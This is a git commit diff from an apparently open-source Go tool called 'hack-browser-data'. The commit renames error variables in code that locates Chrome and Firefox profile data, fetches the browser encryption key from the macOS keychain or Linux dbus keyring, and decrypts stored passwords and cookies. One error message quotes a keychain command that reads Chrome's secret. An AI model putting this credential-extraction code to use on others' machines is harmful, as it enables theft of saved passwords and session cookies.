refactor: format code with interface
This commit is contained in:
parent
6ac92acb1a
commit
5936e17e26
|
@ -57,9 +57,10 @@ const (
|
|||
)
|
||||
|
||||
var (
|
||||
ErrDataNotSupported = errors.New(`not supported, default is "all", choose from history|password|bookmark|cookie`)
|
||||
ErrBrowserNotSupported = errors.New("browser not supported")
|
||||
ErrChromeSecretIsEmpty = errors.New("chrome secret is empty")
|
||||
errDataNotSupported = errors.New(`not supported, default is "all", choose from history|password|bookmark|cookie`)
|
||||
errBrowserNotSupported = errors.New("browser not supported")
|
||||
errChromeSecretIsEmpty = errors.New("chrome secret is empty")
|
||||
errDbusSecretIsEmpty = errors.New("dbus secret key is empty")
|
||||
chromiumParseList = map[string]FileList{
|
||||
cookie: {
|
||||
name: cookie,
|
||||
|
@ -129,7 +130,7 @@ func (c *chromium) GetProfilePath(filename string) (err error) {
|
|||
c.FileLists = append(c.FileLists, v)
|
||||
}
|
||||
} else {
|
||||
return ErrDataNotSupported
|
||||
return errDataNotSupported
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
@ -315,7 +316,7 @@ func (f *firefox) GetProfilePath(filename string) (err error) {
|
|||
f.FileLists = append(f.FileLists, v)
|
||||
}
|
||||
} else {
|
||||
return ErrDataNotSupported
|
||||
return errDataNotSupported
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
@ -393,7 +394,7 @@ func PickBrowsers(name string) ([]Browser, error) {
|
|||
browsers = append(browsers, b)
|
||||
return browsers, err
|
||||
}
|
||||
return nil, ErrBrowserNotSupported
|
||||
return nil, errBrowserNotSupported
|
||||
}
|
||||
|
||||
func chromeParse(key []byte, f common.Formatter) error {
|
||||
|
|
|
@ -62,7 +62,7 @@ func (c *chromium) InitSecretKey() error {
|
|||
temp := stdout.Bytes()
|
||||
chromeSecret := temp[:len(temp)-1]
|
||||
if chromeSecret == nil {
|
||||
return ErrChromeSecretIsEmpty
|
||||
return errChromeSecretIsEmpty
|
||||
}
|
||||
var chromeSalt = []byte("saltysalt")
|
||||
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
|
||||
|
|
|
@ -2,10 +2,10 @@ package core
|
|||
|
||||
import (
|
||||
"crypto/sha1"
|
||||
"github.com/godbus/dbus/v5"
|
||||
keyring "github.com/ppacher/go-dbus-keyring"
|
||||
"hack-browser-data/log"
|
||||
|
||||
"github.com/godbus/dbus/v5"
|
||||
keyring "github.com/ppacher/go-dbus-keyring"
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
|
@ -80,7 +80,7 @@ func (c *chromium) InitSecretKey() error {
|
|||
}
|
||||
var chromeSalt = []byte("saltysalt")
|
||||
if chromeSecret == nil {
|
||||
return ErrChromeSecretIsEmpty
|
||||
return errDbusSecretIsEmpty
|
||||
}
|
||||
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_linux.cc
|
||||
key := pbkdf2.Key(chromeSecret, chromeSalt, 1, 16, sha1.New)
|
||||
|
|
|
@ -380,6 +380,7 @@ func (b *Bookmarks) FirefoxParse() error {
|
|||
func (b *Bookmarks) Release(filename string) error {
|
||||
return os.Remove(filename)
|
||||
}
|
||||
|
||||
func (c *Cookies) Release(filename string) error {
|
||||
return os.Remove(filename)
|
||||
}
|
||||
|
|
|
@ -13,7 +13,6 @@ var (
|
|||
errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
|
||||
errPasswordIsEmpty = errors.New("password is empty")
|
||||
errDecryptFailed = errors.New("decrypt failed, password is empty")
|
||||
errDbusSecretIsEmpty = errors.New("dbus secret key is empty")
|
||||
)
|
||||
|
||||
func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) {
|
||||
|
@ -33,6 +32,7 @@ func PKCS5UnPadding(src []byte) []byte {
|
|||
unpad := int(src[length-1])
|
||||
return src[:(length - unpad)]
|
||||
}
|
||||
|
||||
func Des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
|
||||
block, err := des.NewTripleDESCipher(key)
|
||||
if err != nil {
|
||||
|
|
Loading…
Reference in New Issue